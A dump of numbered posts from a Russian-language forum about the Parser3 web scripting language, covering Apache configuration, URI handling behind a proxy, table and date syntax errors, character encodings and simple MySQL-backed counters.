"3829","надо в тексте менять 3-4 цифры(~ 1 в 2 месяца, удаленно), где лучше хранить переменные?\
P.S. MySQL есть, если что. ;)"
"3830","А слабо распечатать оба значения и посмотреть, что они из себя представляют? Мож пробел какой затесался..."
"3832","Мне нужно сделать примерно так:\
$form:^news.offset[]\
Но в таком варианте не работает, как сделать чтобы работала?"
"3833","Поподробне задачу поставьте..."
"3835","Не определил ведь ты @body в auto.p - вот Великий Парсер и взматюкнулся.\
Продолжай тренироваться,молодой джедай!\
"
"3836","Так ведь ясно сказано - определить @body[] в индексе, а НЕ в auto.p\
А из auto.p - ВЫЗВАТЬ.\
А ты предлагаешь его два раза определить? "
"3839","прочитай ответ Dep-а\
там сказано что не в auto.p @body определять а в индексе\
хотя я пробовал и по твоему\
но тогда что писать по твоему в индексе\
я ж говорю меня интересует именно листинги рабочих файлов ВТОРОГО урока из Документации\
"
"3840","Не фига!\
Все прошерстил!\
С кавычками игрался, не помогает :-("
"3841","Если по тупому, то $request:uri выдает http:/www.xyz.xu/, а в переменной $razdeli.uri содержится \"/\". Может из-за этого?"
"3843","Выдает...\
parse error, expecting `STRING' or `'['' or `'$''"
"3845","$t[^table::create{id	name\
0	aaa\
1	bbb}]\
\
=$form:[^t.offset[]]=\
\
\
<form>\
^t.menu{\
	<input type=\"text\" name=\"$t.id\" value=\"\" /><br />\
}\
<input type=\"submit\" name=\"go\" />\
</form>"
"3846","Не отображаются картинки при использовании Парсера."
"3848","Какие, где?"
"3849","структура каталогов:\
/\
/cgi-bin - с парсером (естественно с разрешением на запуск cgi)\
/i - каталог с gif'ами\
auto.p\
index.html\
.htaccess\
\
.htaccess стандартный для Parser'а\
\
Gif'ы не грузятся даже если обращаться к ним напрямую (www.myhost.by/i/logo.gif)\
\
Вот"
"3850","Почему не должно?\
По документации у этой конструкции как раз такая задача..."
"3851","при обращении к http://xxx.yyy.zzz/news.html\
в $request:uri должно быть /news.html (кажется так)"
"3852","хттп://fosi.da.ru\
\
там написано что это версия 2.51 но это гон."
"3853","Всё. Разобрался - это всё эксперименты мои"
"3855","Как я понимаю XML, Parser поддерживает UTF-8.\
Пытаюсь писать на казахском языке слова, тексты (в казахском языке всего на 9 букв больше, чем в русском) в XML. Заменяю специфичные буквы на &#1241 &#1187 &#1171 &#1199 &#1201 &#1179 &#1257 &#1211 (9 буква i - как в английском языке). После сборки HTML выдает знак вопроса вместо необходимых букв. Помогите очень надо."
"3857","Какие-то не те, видимо, символы… U+1187 — корейский \"Hangul Jungseong Yo-O\" и т.д. Да и то, чтобы такой увидеть нужно иметь [i]true unicode[/i] шрифт типа [b]Arial Unicode MS[b]. В остальных шрифтах типа Tahoma/Verdana/etc таких символов в принципе нет.\
\
Выясни поточнее коды нужных тебе символов и позаботься, чтобы они были в юзерских виндовых шрифтах (хотя бы в них, имхо пользователей win больше всех…)."
"3858","<spacer> supportitsa tolko Netscape'om - po statistike NN ispolzuyut 3.4%,a IE - 93,7% ! Tak chto luchshe ne ispolzovat etu fichu! Ya ispolzuyu <td width=x height=x><img src=x width=x height=x></td> - a image - prozrachniy 1x1 piksel! Ochen udobno - i vo vseh browserah rabotaet!"
"3859","Как установить и настроить Parser для работы под Small HTTP server (Win98)?"
"3862","[code]\
#################################\
######  auto.p  #################\
@main[] \
^header[] \
^body[] \
^footer[] \
\
@header[]\
<html><head><title>ПОСВЯЩАЕТСЯ FG</title></head>\
\
@body[]\
<body>\
тут можно и не писать вообще нифига\
\
@footer[]\
</html>\
\
#################################\
######  index.html  #############\
@body[]\
каждой странице - своЁ!\
[/code]"
"3864","По документации $request:uri, должен показывать из такого http:/xxx.xxxx.zzz/news/ только /news/.\
Тогда какого он у меня показывает http:/xxx.xxxx.zzz/news/.\
Может, что в настройках?"
"3866","один в один сделал по твоему примеру два файла\
выдало:\
'main' method not found\
exception.type=parser.runtime\
\
черт знает что :("
"3867","Сервер Apache 2.00.39 под WinNT\
Настройка Парсера по документации:\
.htaccess не работает. Вся настройка в nttpd.conf в таком виде:\
\
SetEnv HTTP_PARSER_ROOT_CONFIG /cgi-bin/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"3869","http://мой IP:8081/news/ -> $request:uri - /news/"
"3870","хотя если честно то в 2.0.39 изменили API и некоторые модули сторонних разработчиков придется перекомпилировать, но c запуском CGI должно быть всё ОК."
"3872","Щас поставил себе Apache 1.3.23, все тоже самое, что и было.\
Т.е. http://мойадрес.od.ua/news/ $request:uri выдает строчку http://мойадрес.od.ua/news/.\
А как настраивал Парсер в httpd.conf или .htaccess?"
"3874","http://www.saitistika.ru/themes/saitistika/materials-document.asp?folder=1190&matID=1946"
"3875","Проблема в том, что если ты на странице пользуешь \"прозрачный пиксель\", то на каждую его скачку открывается лишнее соединение (хотя бы для проверки, а не изменился ли он). Итого - 100 гифоф - лишние 100 коннектов. Тебе оно надо? Думаю, что нет.\
\
Правильный подход, работающий везде:\
<td width=\"X\" height=\"Y\" nowrap=\"nowrap\"><div style=\"width: Xpx; height: Ypx;\"><spacer type=\"block\" width=\"X\" height=\"Y\" /></div></td>"
"3876","Перечисли все кодировки:\
$request:charset\
$response:charset\
encoding в XML и XSL\
\
Скорее всего - что-то где-то перекодируется."
"3877","Пытаюсь создать переменную типа date с минимально-возможным значением\
$date0[^date::create(1970;1)]\
\
Получаю ошибку\
invalid datetime\
\
[b]create[/b]\
\
В чем может быть дело\
"
"3879","это уже обсуждалсь на форуме или рассылке, ни каких 100 коннектов не будет, даже самый плохой браузер не такой тупой :-)"
"3880","Согласен, преувеличил, но браузер браузеру рознь.\
Маковый Эксполорер, например, может \"забыть\" картинку при простом Reload ;-) Даже d-t.gif - spacer как-то понадежнее..."
"3881","Да я уже даже Winды переставил, и один хрр.\
Хорошо, а как Парсер подключить через .htaccess?"
"3882","Пользовался я им одно время - а потом срыл и поставил apache, чего и тебе советую..."
"3883","чего уж подробней есть текты(на разных страницах, о разном, 3-5 экранов), в этих текстах есть 1-3 цифры, которые заказчику нужно будет менять уделенно.\
далее - в предыдущем постинге ;)"
"3886","Есть кусок кода:\
<applet Code=\"apMenu\" Archive=\"/apMenu.jar\" Width = \"450\" Height = \"16\">\
<param name=\"Copyright\" value=\"Apycom Software - www.apycom.com\">\
\
<param name=\"font\" value=\"Arial,11,1\">\
<param name=\"menuItems\" value=\"\
	{Text1,URI1,_self}\
	{Text2,URI2,_self}\
\">\
</applet>\
\
Как вместо Text1, URI1, Text2, URI2 вставить текст из Tab-Delimited-файла вида\
\
TEXT   URI\
text1  URI1\
text2  URI2\
.....  ....\
\
Посоветуйте, plz, очень надо такой финт сделать!"
"3888","^date::create создает локальне время, а EPOCH (01-01-1970) считается в GMT (по Гринвичу).\
У тебя +3 (+4 в летнее время) часа к GMT (если система привально локализована).\
Следовательно, когда ты создаешь 0 часов 0 минут 1 января 1970 а ЛОКАЛЬНОМ времени, это РАНЬШЕ 0 часов 0 минут 1 января 1970 в GMT на эти самые 3 (4) часа. Потому и ошибка. Создавай ^date::create(1970;1;1;4) - получишь минимальное время."
"3889","Не включил ли ты ненароком mod_proxy и/или mod_cache? или у тебя какой прокси по дороге к веб-серверу есть?\
\
Дело в том, то апач отдает в REQUEST_URI, то, что пригло ему в GET запросе:\
[code]GET /index.html HTTP/1.1\\n\
host: localhost\\n\\n[/code]\
вернет /index.html\
\
а вот\
[code]GET http://localhost/index.html HTTP/1.1\\n\
host: localhost\\n\\n[/code]\
вернет как-раз http://localhost/index.html\
\
более того:\
[code]GET http://bullshit/index.html HTTP/1.1\\n\
host: localhost\\n\\n[/code]\
вернет именно http://bullshit/index.html, а не /index.html или http://localhost/index.html - что просили, то и отдал.\
\
Говорят, такая фигня из-за некоторых проксей и происходит... А $request:uri берет просто REQUEST_URI от сервера и ничего с ней не делает :( Возможно, PAF это исправит в будущем, но сейчас с этим надо смириться и писать полные URL, а не URI...\
\
Можно также просто проверять, если $request:uri начинается с http://, просто отрезать от начала до первого слэша (то есть, те самые http://localhost), а остальное использовать в сравнении."
"3890","Варианты:\
1. Действительно не определена в конфигурационном файле - странно, но возможно не тот parser3.conf взял.\
2. Конфигурационный файл не прочитан.\
2.1. Лежит не там где надо, и парсер его не видит - положь на место ;-).\
2.2. Принадлежит не той группе, от которой запускается парсер - посмотри FAQ/проверь права.\
3. Просто переопределена - ищи, где похачил, и возвращай на место."
"3892","… у тебя неправильно прописаны в .htaccess переменные [b]HTTP_PARSER_ROOT_CONFIG[/b] и/или [b]HTTP_PARSER_SITE_CONFIG[/b].\
\
Проверь, есть ли в корне www-пространства твоего сайта файл [b].htaccess[/b]. Если структура каталогов сайта такая:\
[code]\
/mysite\
   /mysite/conf\
   /mysite/cgi\
   /mysite/www\
[/code]\
То .htaccess должен быть в папке [b]/mysite/www[/b] примерно такого содержания:\
[code]\
ServerSignature Off\
ErrorDocument 401 /401.html\
ErrorDocument 403 /403.html\
ErrorDocument 404 /404.html\
SetEnv HTTP_PARSER_ROOT_CONFIG /mysite/conf/parser3/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG /mysite/conf/parser3/mysite.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
<Files ~ \"\\.p$\">\
   Order allow,deny\
   Deny from all\
</Files>\
[/code]\
Это не совсем так, как написано в доке к парсеру, но любые файлы, не предназначенные для показа пользователям обязательно (imho) должны быть [i]за пределами www-пространства[/i], т.е. за пределами папки /mysite/www. (а то придет Митник и …)\
Здесь:\
ServerSignature Off — просто нефиг (но к парсеру отношения не имеет),\
parser3.conf — файл конфигурации самого парсера (скачать отдельно),\
mysite.conf — файл конфигурации твоего сайта (в архиве с парсером),\
… ну и далее по доке.\
\
Файлы parser3.conf и mysite.conf — разные (просто в доке они обозваны одинаково: parser3.conf, засим путаница).\
Один идет в архиве с парсером и по доке кладется в корень сайта, второй нужно скачать отдельно (архив называется [i]«Главный конфигурационный файл и файлы описания кодировок»[/i]) и положить с парсером в одну папку.\
\
P.S. К сожалению, технический писатель у студии Лебедева либо ленится, либо слишком занят, в итоге документация на парсер местами отличается изрядной не(понятностью||внятностью||досказанностью) … ждем-с."
"3893"," собственно обычная задача: нужно загрузить прайс, где например поля разделенные ';', и потом занести каждое поля в базу...\
 вот первое и последнее --- ясно, а как мне эти поля получить (интересует наиболие оптимальный вариант, т.к. строк в прайсе много до 2000)???"
"3894","Приглашаю Вас посетить (а также стать участником) новый проект студии \"Дизайн N1\" -\
\
\"Дневник вебмастера\": http://www.webdiary.ru\
(сайт сделан на Парсере3 !)\
\
---------------------\
О проекте:\
\
проект рассчитан на пользователей, так или иначе связанных с\
интернет-разработкой: веб-мастеры, -дизайнеры и -программисты - все они являются здесь желанными персонами.\
\
Цель проекта:\
\
создать приятную атмосферу обсуждения Интернет-ресурсов для веб-разработчиков. Несмотря на громадное количество всевозможных форумов-\"клонов\", многие веб-мастера и дизайнеры хотели бы иметь простое и удобное место для общения и обсуждения своих (или чужих) Интернет-разработок.\
---------------------\
\
info@webdiary.ru\
\
\
Сергей Яценко, веб-разработчик\
http://www.design-n1.com\
\
"
"3895","А то как то странно в поставке с парсером щел один файлик libmysql.dll  а в самом мусквеле лежит другой?"
"3896","Странно, но мне почему-то пришлось искать кнопку \"ок\"."
"3900","Дык тут все просто, делай форму, в которой будешь менять эти цифры на другие, сами цифры вынеси в какой-нить numbers.cfg и все. Твои юзвери будут сами заходить и делать изменения когда захотят и как захотят."
"3901","Как загрузить файл и как заменить знаки ; на табуляторы ты догадался. Это уже хорошо. Теперь все просто. После всех преобразований сохраняешь таблицу, добавив в нее заголовок с наименованием полей и все... А ежели тебя интересует как определить количество столбцов в исходнике, то поищи по форуму, такой вопрос уже был.\
Что касательно оптимизации, то она здесь не нужна. 2000 записей, это не много, при том что записи в прайсах обычно не большие, поэтому можно даже не прибегать к SQL, хотя дело хозяйское..."
"3903","если нужно срочно, можно поставить перед параметром пробел."
"3905","Насчет mod_proxy и mod_cache, проверил. Выключены.\
А прокси точно есть. Подключение по локальной, через прокси.\
Теперь понял, я думал что все более сложно, а оказывается просто прокси.\
$request:uri как раз и начинается с http://, теперь возникает новый вопрос: Как отрезать http://localhost до первого слеша?\
Может посоветуете?"
"3906","В самом начале урока идет код auto.p\
[rip]\
^if($sections.uri eq $request:uri){ \
[rip]\
\
Фишка в следующем: $request:uri выдает полный УРИ, то есть вместе с файлом index.html, а $sections.uri выдает то, что писали sections.cfg, то есть для главной страницы - \"слэш\"... получается, что строки никогда не будут равными..... облом!!! :-)))) Как быть?"
"3907","0.\
XML не совсем к месту. кодировка UTF-8 самостоятельная сущность.\
\
1.\
эти коды сомнительны, charmap на 1241d = 0x049D показывает W со штрихом сверху.\
\
2.\
^if(\"выходная кодировка сайта\" eq \"UTF-8\"){\
    достаточно исправить (1).\
}{\
    иначе пока есть проблема…\
}\
\
…при преобразовании кодировок, скажем, если вы захотите назначить выходной кодировкой windows-1251, Parser не найденные в таблице windows-1251.cfg символы заменяет на '?', не вникая в то, что это html, и можно было бы выдать &#DDDD;\
со временем ситуация, возможно, изменится.\
сейчас если вы хотите непременно windows-1251, можно что-то придумать, ключевое слово @postprocess"
"3908","Подсобите, ежели сможете! Заранее пардон за оффтопик!\
Решил попробовать пример с созданием форума, но вот проблема не нашел как сделать в MSSQL автоинкремент... перерыл всю инфу - нет! Может подскажет кто??? :-)"
"3909","делал я как-то любимому Лёшику Соловьёву:\
http://solo.design.ru/\
\
в Parser особенно просто:\
\
в /auto.p\
в @auto[]\
куда-нибудь сохраняешь ip посетителя и время, когда он обращался.\
с какой-то периодичностью стираешь старых.\
количество находящихся на сайте = количество сохранённых адресов.\
\
как сравнивать время:\
[code]\
^if($время_посещения < $now-1/24){ был позже чем час назал }\
[/code]\
\
как разгрузить сервер, чтобы стирать не каждый раз:\
[code]\
^if(^math:random(10)==0){ происходит, примерно, раз в 10 обращений }\
[/code]"
"3910","зачем минимальное время понадобилось?\
если имеют место сравнения, можно сравнивать с нулём.\
\
[code]\
^if(^date::now[] > 0){ да }\
[/code]"
"3911","типа\
$params[table::load[params.dat]]\
^params.menu { \
и т. д...\
"
"3912","если база MySQL, она умеет это делать сама:\
http://www.mysql.com/doc/L/O/LOAD_DATA.html\
соответственно:\
[code]\
^void:sql{load data …}\
[/code]\
\
\
с другими обычно поставляются command line утилиты, делающие ровно это. \
[code]\
$f[^file::exec[их]]\
[/code]"
"3913","важна совместимость протоколов, а не количество байт в .dll.\
авторы MySQL уже тысячу лет поддерживают обратную совместимость протоколов.\
\
но если будет легче спать, всегда можете заменить на последнюю: теоретически они там могли исправить какие-то мелочи."
"3916","Выложите мой пример по уменьшению картинок. Я его уже неоднократно Мише в.3 посылал, а то меня уже утомили спрашивать как это делается. Если нужно вышлю пример на другой e-mail.\
Заранее спасибо."
"3917","там хуйня написана в уроке про кэш.\
конкретнее:\
\
# не кешируем если пришли из локальной подсети. \
# тут можно указать и свой адрес, чтобы не затруднять себе процесс разработки\
^if(^env:REMOTE_ADDR.match[^env:REMOTE_ADDR.match[^^192\\.168][]){$is_local(1)}\
"
"3918","identity(исходное_значение,приращение)\
\
исходное_значение - исходное значение столбца\
приращение - значение, прибавляемое к значению столбца последнего приращения\
\
CREATE TABLE text (text_id smallint IDENTITY (1,1) NOT NULL)"
"3919","> Как быть?\
\
оторвать задницу от стула и сделать поиск по форуму"
"3920","Как вариант:\
[code]\
$normalized_uri[^reques:uri.match[^^(http://[^^/]+/)][i]{/}]\
[/code]"
"3921","Вместо ^reques:uri.match читать ^request:uri.match"
"3922","У меня та же байда со вторым уроком! \
По форуму искал, тока ничего не нашел, может не сраслось?\
Ежели кто че видел, или слышал,по ентому вопросу свиснете не сочтите за труд!!! "
"3923","В коих указывал на ошибки.\
Выкладывать код, который содержит их я не буду, т.к. примеры должны показывать как делать нужно, а не как вредно."
"3924","P.S. не маленький, мог-бы и сам сделать это :)"
"3925","Дык я же поправил, седня сутра нармальную версию послал."
"3926","это второе, что приходило (код второй, письма еще были)\
\
"
"3928","Для простоты решения выкладываю текст у себя:\
http://www.spearance.tura.ru/parser3/pictures/text/resize.txt"
"3930","То есть, чтобы все нужные группы печатных знаков раскрашивал для удобства чтения. А все не нужные - не раскрашивал :)"
"3931","выложил."
"3932","Я ж сказал, что доделал... Я его у себя выложил, ссылка в следующем топике, если хотите, выкладывайте в примеры...\
Принимаю комментарии к доработке."
"3933","Дело в другом.\
Насколько я понял переменная от-match-нная, по определенному шаблону, должна сравниваться с $razdeli.uri вот кусок скрипта:\
\
@navigation_cell[]\
$normalized_uri[^request:uri.match[^^(http://[^^/]+/)]\
{/}\
]\
$cell_width[^eval(100\\$razdeli)%]\
^if($razdeli.uri eq $normalized_uri){\
   <td bgcolor=\"#FFCC33\"><nobr>$razdeli.name</nobr></td>\
}{\
   <td><a href=\"$razdeli.uri\"><nobr>$razdeli.name</nobr></a></td>\
}\
\
а оно мне выдает \"(table) has no string representation\"\
Может я чего не понял?"
"3934","http://www.parser.ru/forum/?id=3815"
"3935","www.webdiary.ru/?login или  www.webdiary.ru/?faq \
\
Какой смысл имеет эта конструкция? варианты и опровержения:\
1. адрес страницы - НЕТ. это выглядело бы как www.webdiary.ru/faq/ напр.\
2. это вопрос - автор забыл что это за страница - НЕТ. мы русские, вопрос. знак ставится в конце предлож.\
3. ...\
\
И касательно других uri - я логики вообще не нашел. \
(Сорри - у меня не было свободных пару деньков...)\
Но круче всего календарь!!! Я жму ссылки в прошлое - в будушее - но остаюсь там-же! (11.07.2002) - В стиле Бердяева календарь, для философов? - прошлого уже нет, будущего еще нет, а настоящее...\
"
"3936","match для замены требует 3 (три) параметра, а у тебя их 2. В результате - таблица.\
\
Встречный вопросы:\
1. copy-paste сделать было слабо? У меня было 3 параметра...\
2. что за переносы строк?\
$normalized_uri[^request:uri.match[^^(http://[^^/]+/)]\
{/}\
]\
думаешь, так работать будет? сомневаюсь..."
"3937","все записи в базе на MySQL. Пока не поудалял записи - все было ОК. В базе есть main_key , который primary key(auto_increment ), по нему я и перебирал ( select * from base where main_key=$i) . Но после удаления записей остаются \"дырки\" и этот select выдает ошибку. Можно, конечно, создать таблицу с индексами, но неужели нет более \"красивого\" способа ?\
Максим\
PS: Извините, если вопрос простой, и все давно знают , как ЭТО делать. Просто тяжело так сразу перейти с Accessa, где я не сталкивался с подобной проблемой..."
"3938","Пишу простой счётчик хостов. Принцип следующий: в таблице-базе хранятся ip за сутки, при обращении к счётчику, естественно, идёт проверка REMOTE_ADDR с базой, и, если что, добавление в базу. Заодно и счётчики, хранящиеся в другой таблице, увеличиваются на единицу.\
Столкнулся с проблемой в коде:\
\
[code]\
$counter[^table::load[/counter/count.cfg]]\
$today_c[$counter.today]\
$all_c[$counter.all]\
$counter.today[$today_c+1]\
$counter.all[$all_c+1]\
[/code]\
\
Проблема: \
auto.p(163): 'today' element can not be stored to table  type: parser.runtime\
\
163 строчка -- это [code]$counter.today[$today_c+1][/code]\
\
Что делать?"
"3939","1. select не может возвращать ОШИБКУ при таком запросе - он возвращает empty set (если, конечно, $i - число).\
2. а зачем ты указываешь main_key?\
3. а какое отношение к перебору имеет селект ОДНОЙ строки из базы?"
"3940","ее нельзя менять.\
апдейть сразу в базу."
"3942","Странный перебор ты делаешь. А еслт записей много, $i >100 - представляешь сколько ты запросов сделаешь к базе?\
\
А в таком случае тебе надо просто $i не циклом гонять (да, от 1 до max_count?), а выбрать все значение id из базы и по ним потом пройтись.\
\
$main_key[^table::sql{SELECT distinct main_key FROM base}]\
^main_key.menu{\
... select * from base where main_key=$main_key.main_key\
}\
\
(Это не копи-паст, это идея)\
Но что-то это очень плохое решение. А ошибка в работе твоего алгоритма?\
"
"3943","там же где пишут о создании операционной системы или автомобиля\
\
баннерная сеть - это большой продукт, который потом продают за большие деньги, а вы хотите статейку..."
"3944","сам редактор тут не причем.\
важен штепсель для редактора, который будет раскрашивать символы... \
такое умеют все последние редакторы для верстки хтмл"
"3945","1. select и не возвращает ошибку. Он просто не срабатывает и парсер выдает ошибку\
2.main_key мне нужен как уникальный ключ\
3.Дело в том, что  мне нужно вносить изменения в записи. Пока я это делаю так - в форме ( или перебором ) нахожу нужную запись и обновляю ее. А если запись удалена, то под ее номером ничего нет. И тогда ошибка \
"
"3946","1. Делать сopy-paste слишком просто.\
2. Copy-paste с того, что мне пришло на мыло, а на Форум я не лазил. ;-)\
\
'$normalized_uri[^reques:uri.match[^^(http://[^^/]+/)]{/}]'\
\
3. Оно мне начало выдавать ошибки на параметр #2. И я по аналогии растановки фигурных скобок в операторе if стал игратся.\
\
Да у меня $request:uri, я пустился во все тяжкие в обход прокси на прямую. Есть еще один вопрос. Если пользователь заходит через какой-то свой прокси, на предположительно мой сайт $request:uri будет работать?"
"3948","$base[^table::sql{SELECT main_key as mk FROM base ORDER BY main_key}]\
\
^base.menu{\
\"внести изменения туда где main_key = $base.mk, и причем если эти изменения каким-то образом зависят от итерации и нужно внести изменения во все строки таблицы\"\
}\
\
конкретнее все таки надо вопрос поставить\
"
"3949","есть програмка написанная на php ранее она работала, для того, чтоб прекрутить к парсеру2 расставил ^ перед : и все работало, правда под win 32!\
\
как сделать чтоб сначала файл обрабатывал парсер а потом выполнялся php ?"
"3950","Перешел от забавы к работе и сразу столкнулся с такой прелестью: [code]\
^if{\
  ...\
  } {\
  ...\
  }\
[/code]\
Ругается страшно. Вроде все правильно, если бы я сам компиляторы и трансляторы никода не писал, сроду не догадался бы, в чем тут дело.\
Резюме: если в p3 разделители не предусмотрены, то в РТФМ вот ТАААКИМИ буквами нужно об этом написать. Вообще, конечно, мое фи разработчикам. Такого даже на лабах по основам трансляции никто не делает. Это, однако, не изменит моего мнения: parser3 - rules.\
"
"3952","зачем сразу гнать на парсер???\
вы хоть попробовали прежде чем такие заявления кричать?\
^if(логическое выражение){\"истина\";\"ложь\"}\
\
причем \";\" - стандартный разделитель и можно было бы самому догадаться"
"3953","есть уже готовый скрипт на php который делает whois и выводит инфу о домене! вместе со 2 парсером работал а с этим не знаю как сделать чтоб заработал"
"3954","http://www.parser.ru/forum/?id=1331\
http://www.parser.ru/forum/?id=1317\
http://www.parser.ru/forum/?id=1083\
\
Вроде достаточно членораздельно объяснено."
"3955","[code]\
^if($request:uri eq \"/\" || $request:uri eq \"/index.html\"){$cfile[counter.txt]}{$cfile[/counter.txt]}\
$counter[^table::load[$cfile]]\
[/code]\
по идее если мы находимся не в http://xxx.xx/ а в http://xxx.xx/xx/ то $cfile принимает значени /counteк.txt , те загружаем файл из корневого каталога, но на самом деле parser начинает искать файл в http://xxx.xx/xx/counter.txt а не http://xxx.xx/counter.txt"
"3957","[code]\
^if(^request:uri.match[^^/[^^/]*^$]){\
   $cfile[counter.txt]\
}{\
   $cfile[/counter.txt]\
}\
$counter[^table::load[$cfile]]\
[/code]\
Только если counter.txt всегда из /root берется, зачем огород городить?"
"3958","да нет не в этом дело! дело в том, что даже ваш скрипт не работает!!!\
\
корневой каталог [b]/pub/home/icy/ftp/[/b]\
а parser даже при указании \
[code]$counter[^table::load[/counter.txt]][/code]\
ищет файл в [b]/pub/home/icy/ftp/xx/counter.txt[/b]\
"
"3959","… приделают подсветку парных скобок, как в [url=\"http://aperl.mastak.ru/\"]Mastak Absolute Perl[/url], то ответ (по крайней мере под Win32) будет однозначен.\
\
А пока у каждого свой рецепт. Хотя, под Win32, в основном рулит, конечно же, UltraEdit. IMHO."
"3961","www.твой-домен/ у тебя '/pub/home/icy/ftp/' или '/pub/home/icy/ftp/xx/'?\
"
"3962","брать counter.txt за пределами root? Тогда [b]/../counter.txt[/b]"
"3963","http://www.parser.ru/forum/?id=1429 .\
Пропиши переменную сервера. Если [i]parser3.conf[/i] лежит вместе с [i]parser3.exe[/i], то у меня работает такой код:\
\
[code]SetEnv HTTP_PARSER_ROOT_CONFIG \"parser3.conf\"[/code]"
"3964","Не знаю, но чисто Парсером, нет."
"3965","Т.е. окно, где будут выведены записи на интересующий тебя период и их номера?\
хоть во фрейме?"
"3966","Извините за  вопрос не корректный вопрос. Реально я хотел сделать вот что - на страничке есть  форма с полями, соответствующими полям в базе, а сверху , грубо говоря две ссылки - \"запись вперед\" и \"запись назад\". И с помощью этих ссылок перебрать и подправить записи, выбранные по опреленному признаку. "
"3967","Пытаюсь создать класс. Создаю файл myclass.p, пишу туда:\
@CLASS\
myclass\
\
@load[]\
...\
\
При попытке подключить возникает ошибка:\
'CLASS ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
\
В чем может быть дело?"
"3969","никак не могу заставить работать Parser c BD.\
Запрос такого вида:\
^connect[mysql://root@localhost/test]{ \
   $news[^table::sql{select * from news}] \
} \
Вызывает ошибку \
[error] [client 192.168.1.1] Premature end of script headers: /usr/home/igor/cgi-bin/parser3.cgi\
И больше ни на что не ругается...\
Использую FreeBSD 4.5\
MySQL 3.23.47"
"3970","У тебя где-то лишний символ закрался, сотри обе строки и напечатай поновой, возможно где-то остался сивол перевода строки."
"3971","оно тебе это в апострофах и показывает..."
"3972","-код без запросов отрабатывает?\
-парсер взят с поддержкой sql?"
"3974","А зачем тебе этот скрипт, если ВСЕГДА берется файл из document_root?\
Написать раз и навсегда $cfile[/counter.txt] сложно?"
"3975","а делай просто (как сказали выше Arcady и d0Rk) \
select main_key from table_name order by main_key\
\
потом уже, надеюсь, очевидно:\
текущий id - ^table.locate\
предыдуший - ^table.offset[cur](-1)\
следующий - ^table.offset[cur](1) (или если взял предыдущего - ^table.offset[cur](2))"
"3976","сам Парсер работает,\
cgi взят без поддержки XML, и MySQL драйвер установлен.\
но как только ^connect встречается выдается ошибка."
"3977","На сайте нет, FreeBSD у меня нет (стоит только у провайдера), cvs - тоже нет и т.д. и т.п.\
Провайдер говорит - у них есть - скачай...\
Где взять?"
"3978","Очень актуальный вопрос! Присоединяюсь! В PHP есть много фичей, которых нет в парсере...\
"
"3980","Хэши же не позволяют сохранить себя в файле, и потом оттуда значения получить. Или не так?\
Проблему решил, но, кажется, кривовато:\
Удаляется предыдущая таблица со значениями счетчиков, при этом сохраняются значения во временных переменных, потом сохраняется таблица новая на место старой с увеличенными на единичку значениями..."
"3981","тут в Форуме это пролетало "
"3982","http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz — CGI без XML \
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz — CGI с XML"
"3983","-Хеши могут быть очень легко получены из таблицы\
-Хеши не могут быть сохранены \"как есть\" - т.е. надо написать метод для сохранения."
"3985","/pub/home/icy/ftp/ - root!\
файл counter.txt лежит по адресу /pub/home/icy/ftp/counter.txt\
но когда находишся в /pub/home/icy/ftp/xx/ и в скрипте указываешь /counter.txt он ищет его почемуто по адресу /pub/home/icy/ftp/xx/counter.txt\
"
"3986","нда :о( облажался :о)"
"3988","Т.к. встроеной функции криптования текста нет, предлагаю использовать внешний Линуксовый crypt"
"3991","это в корне неверно хранить на клиентте информацию и шифровать ее."
"3993","Уже не один раз на форуме (как на этом, так и на parser2) обсуждали принцыпы авторизации и сессионности.\
Там много сказано, почти готовые механизмы даны.\
Ищи."
"3994","уже говорили и не раз - Миша тебе тоже самое говорит - отдай клиенту id-session + data-session, по идее хватает"
"3997","Форум тут не роняйте пока я в отпуске буду :)"
"3998","Apache 2.0.39 (с php4) + parser3cgi. Делаю так, как описано ниже по тексту. НО: Апач выдает ошибку 500 с текстом:\
couldn't create child process: 22: D:/web/cgi-bin/parser3.exe\
\
В лог-файл при этом пишется две строчки:\
[error] [client 127.0.0.1] (22)Invalid argument: couldn't create child process: 22: D:/web/cgi-bin/parser3.exe\
[error] [client 127.0.0.1] (22)Invalid argument: couldn't spawn child process: D:/web/cgi-bin/parser3.exe\
\
То же самое происходит и при попытке вызова parser3.exe или parser3.bat напрямую через http://localhost/cgi-bin/parser3.(exe|bat).\
Я полагаю, косяк не в parser, а в apache (хотя кто знает...). Но никак не могу найти где и почему так случается. Помогите, пожалуйста. Какой такой аргумент неверен?\
\
\
\
httpd.conf\
==========\
ScriptAlias /cgi-bin/ \"d:/web/cgi-bin/\"\
<Directory \"d:/web/cgi-bin\">\
    AllowOverride None\
    Options None\
    Order allow,deny\
    Allow from all\
</Directory>\
SetEnv HTTP_PARSER_ROOT_CONFIG \"d:/web/parser3.root.conf\"\
SetEnv HTTP_PARSER_SITE_CONFIG \"d:/web/parser3.site.conf\"\
AddHandler parsed-html .phtml\
Action parsed-html \"/cgi-bin/parser3.exe\"\
# запреты пока не ставлю. все равно не работает.\
\
parser3.root.conf\
=================\
@auto[]\
$charsetsdir[d:\\web\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[d:\\web\\parser3\\lib]\
# остальное по умолчанию.\
\
parser3.site.conf\
=================\
# все по умолчанию.\
\
/cgi-bin/\
=========\
iconv.dll\
libexslt.dll\
libgdome.dll\
libglib-1.3-11.dll\
libintl-1.dll\
libxml2.dll\
libxslt.dll\
parser3.bat\
parser3.exe\
\
parser3.bat\
===========\
@echo hello world\
"
"3999","Счастиво отдохнуть..."
"4000","У меня нес лишком хороший коннект, чтоб качачть всё подряд, потому спрашиваю...\
\
В раздели скачать/Win32:\
CGI скрипт с поддержкой XML (134,8kb)\
Библиотеки поддержки XML (1,1Mb)\
\
Для работы с XML надо скачать оба?"
"4001","… нужно обратиться к хостеру в службу поддержки, описать ситуацию и поинтересоваться, что же делать. Как правило помогает, по крайней мере, получишь ценный clue.\
\
